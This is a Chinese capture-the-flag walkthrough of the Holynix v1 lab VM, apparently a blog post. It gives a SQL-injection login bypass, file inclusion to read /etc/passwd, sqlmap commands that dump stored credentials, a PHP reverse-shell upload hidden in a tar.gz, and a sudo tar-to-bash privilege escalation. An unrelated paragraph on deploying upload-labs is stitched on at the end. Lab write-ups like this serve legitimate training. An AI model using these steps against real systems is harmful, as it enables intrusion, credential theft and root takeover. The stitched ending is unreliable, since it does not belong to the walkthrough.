holynix-v1靶机详解

扫描

目标机的MAC地址

得到目标地址为 192.168.150.128

开始扫描端口

nmap -p- -A 192.168.150.128

尝试登入80端口

点击Login尝试登入

弱口令/默认口令/SQL注入/CMS漏洞利用/敏感信息寻找/字典爆破

弱密码无效

尝试SQL注入,输入’

暴露了sql查询语句,可以看到这个sql查询语句对username字段的单引号进行了转义(‘),而password部分没有。因此我们只要username随便输,password用万能密码即可登录:’ or 1=1 #

成功登陆

开始搜集有用的信息

登录成功,进来之后有提示语,说着应该是alamo的用户:

左侧有一系列栏目可以尝试,首先点击Directory,如下:

发现url栏里面存在page= 尝试文件包含 读取/etc/passwd

读取失败,接着找下面的信息

发现文件上传,尝试一下

发现失败,并且提示禁止上传到家目录

提示:

对于用户alamo来说,家目录上传是不被允许的。这句话暴露了两点信息,第一,文件上传之后的上传位置可能是用户的家目录,也就是/home/alamo,第二,alamo的权限不够,需要寻找更加高权限的用户。如何以更高权限的用户登录呢?我们可以试图找到存在其他用户的用户名,然后通过SQL注入登录进其他用户的账号。那么如何找到其他用户的用户名呢?可以通过寻找文件包含漏洞,读取/etc/passwd文件。

接着找

开始尝试"文件包含+SQL注入实现越权/直接越权"

先去寻找文件包含,注意观察各个页面的url,发现只有参数page,这个我们也简单尝试过了。既然url中暴露的参数我们无法利用,不妨找找是否存在POST型的参数,即存在文件包含漏洞的参数有可能存在于请求体中。

上图这个界面的下拉选项可以选择一些文本信息。很可能选择一项之后,点击Display File就会向后台发送请求,请求体中含有参数,参数的值就是下图中的这些选项

通过按F12查看网页源代码中元素的方式查看这个提交的参数

这里可以在源代码中看到,通过参数text_file_name的值的改变,实现不同的Display File,比如如果这里我们选择Email后点击Display File,发送的请求包的请求体中就含有text_file_name=ssp/email.txt,那么如果我们修改前端代码,把ssp/email.txt换成我们想读取的/etc/passwd,如果text_file_name这个参数存在文件包含漏洞的话,我们应该就能读取/etc/passwd了,试一试:

由于我们已经获得了完整的用户列表,因此让我们首先选择任意一个随机用户,然后使用以下命令运行 SQLMAP,以便找出其他详细信息

首先,我们以用户 etenenbaum 为例

python3 sqlmap.py -u http://192.168.150.128/index.php?page=login.php --forms --data="username=etenenbaum" --dbs --batch

我们得到了所有数据库的列表!!现在我们尝试使用 creds 数据库,使用以下命令提取其他用户的详细信息

python3 sqlmap.py -u http://192.168.150.128/index.php?page=login.php --forms --data="username=etenenbaum" -D creds --tables --dump --batch

我们能够使用用户 etenenbaum 和相应的密码(如上所示)登录网站。下一步是在 Kali 机器上设置 netcat 侦听器。

先生成一个shell.php

看来etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .

然后我们vim这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为6666

开始上传php-reverse-shell.php

紧接着在etenenbaum的家目录http://192.168.150.128/~etenenbaum/寻找这个文件:

提示权限不够,无法触发代码

那我们进行压缩包转换的背后逻辑是用tar xzf解压,那么我们可以用tar czf打包文件,再进行上传:

tar czf shell.tar.gz php-reverse-shell.php

好像没有看到新的文件,不过有可能是后台已经从myshell.tar.gz中解压出了php-reverse-shell.php,并覆盖了之前的文件,因此我们这次再点击php-reverse-shell.php试试,看看能不能触发代码执行

回看nc监听的端口,成功拿到了反弹shell!

提权

先看看自己是谁

运行 sudo -l

cd /bin

cp /bin/bash /tmp/

cd /tmp

ls -l

sudo chown root:root /tmp/bash

ls -al /tmp

sudo mv /tmp/bash /bin/tar

sudo /bin/tar

id

要在Kali Linux上部署upload-labs靶机,您需要按照以下步骤进行操作: 1. 首先,您需要通过SSH连接到一个Linux主机。根据提供的端口和地址,使用以下命令连接到目标主机: `ssh -p 25142 root@node4.buuoj.cn` 2. 下载并解压upload-labs靶机安装包。您可以使用提供的链接下载`upload-labs-0.1.zip`文件。将其解压缩,并将相关文件放入容器中以供运行。 3. 确保您的Kali Linux系统满足Docker的运行要求。首先,检查当前Linux系统的内核版本,使用以下命令: `uname -a` 如果内核版本大于等于3.10,您的系统符合要求。否则,您可能需要更新内核或使用支持Docker的其他系统。 4. 更新apt源以满足下载要求。根据您的具体需求,可能需要更新apt源来获取所需的软件包。 5. 启动upload-labs靶机。根据提供的问题描述,您可能需要进行代码审计,并利用文件包含漏洞,通过URL参数来读取敏感文件。一个示例的URL可能是:`http://your-upload-labs-url/?file=/flag`,其中`your-upload-labs-url`是您部署upload-labs靶机的URL地址。您需要根据具体情况进行进一步的测试和配置。 请注意,这只是一个简要的概述,并且具体的部署步骤可能会因不同的环境和需求而有所不同。建议您参考相关文档和指南以获取更详细的部署信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值